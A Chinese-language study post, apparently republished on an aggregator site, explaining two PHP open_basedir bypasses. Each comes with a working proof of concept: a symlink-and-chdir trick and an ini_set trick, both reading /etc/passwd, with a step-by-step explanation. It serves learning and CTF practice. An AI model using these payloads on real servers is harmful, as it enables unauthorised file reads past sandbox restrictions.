绕过 open_basedir学习
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过 open_basedir学习相关的知识,希望对你有一定的参考价值。
参考自:open_basedir绕过
环境设置:
shell.php:
利用symlink()绕过
symlink()函数
symlink()对于已有的target建立一个名为link的符号连接。
用法如下:
- symlink (string [Math Processing Error]
link) symlink()对于已有的 target(一般情况下受限于open_basedir)建立一个名为link的符号连接。 - 成功时返回TRUE, 或者在失败时返回FALSE。 示例用法如下:
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);
echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>
POC
假如我们要读取/etc/passwd,对应的POC为:
<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","Von");
symlink("Von/../../../../etc/passwd","exp");
unlink("Von");
mkdir("Von");
system('cat exp');
我的环境没有成功,因为,有disable_function禁用了system。
成功/etc/passwd/
分析一下这个poc
- 首先前面8步,实现了创建a/b/c/d目录,并把当前目录移动到该目录下面。
- 接着symlink(“a/b/c/d”,”Von”)创建了一个符号文件Von,指向了a/b/c/d
- 接着symlink(“Von/…/…/…/…/etc/passwd”,”exp”),由于此时Von仍然是一个符号文件,所以等价于symlink(“a/b/c/d/…/…/…/…/etc/passwd”,”exp”),由于此时a/b/c/d/…/…/…/…/的结果等于/var/www/html,符合open_basedir的限制,因此软链接可以被成功建立。
- 但是之后我们删除了Von这个软链接,并且建立了一个真实的文件夹Von,所以此时上面symlink(“Von/…/…/…/…/etc/passwd”,”exp”)中的Von不再是软链接而是一个真实的目录。从而达到跨目录访问的效果。 其实到了这一步,我们直接访问根目录下的exp文件能得到结果,我上面是为了让结果直观展示出来才利用使用了system(‘cat exp’)来得到结果。(一般情况下system()是被禁的)
利用ini_set()绕过
ini_set()函数
ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:
ini_set ( string $varname , string $newvalue ) : string
- varname是需要设置的值
- newvalue是设置成为新的值
- 成功时返回旧的值,失败时返回 FALSE
POC
<?php
mkdir('Von'); //创建一个目录Von
chdir('Von'); //切换到Von目录下
ini_set('open_basedir','..'); //把open_basedir切换到上层目录
chdir('..'); //以下这三步是把目录切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/'); //设置open_basedir为根目录(此时相当于没有设置open_basedir)
echo file_get_contents('/etc/passwd'); //读取/etc/passwd
没有绕过 disable_function。这是绕过了 open_basedir。eval还是用不了,这能够读取文件,
以上是关于绕过 open_basedir学习的主要内容,如果未能解决你的问题,请参考以下文章
LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir
[BUUCTF][蓝帽杯 2021]One Pointer PHP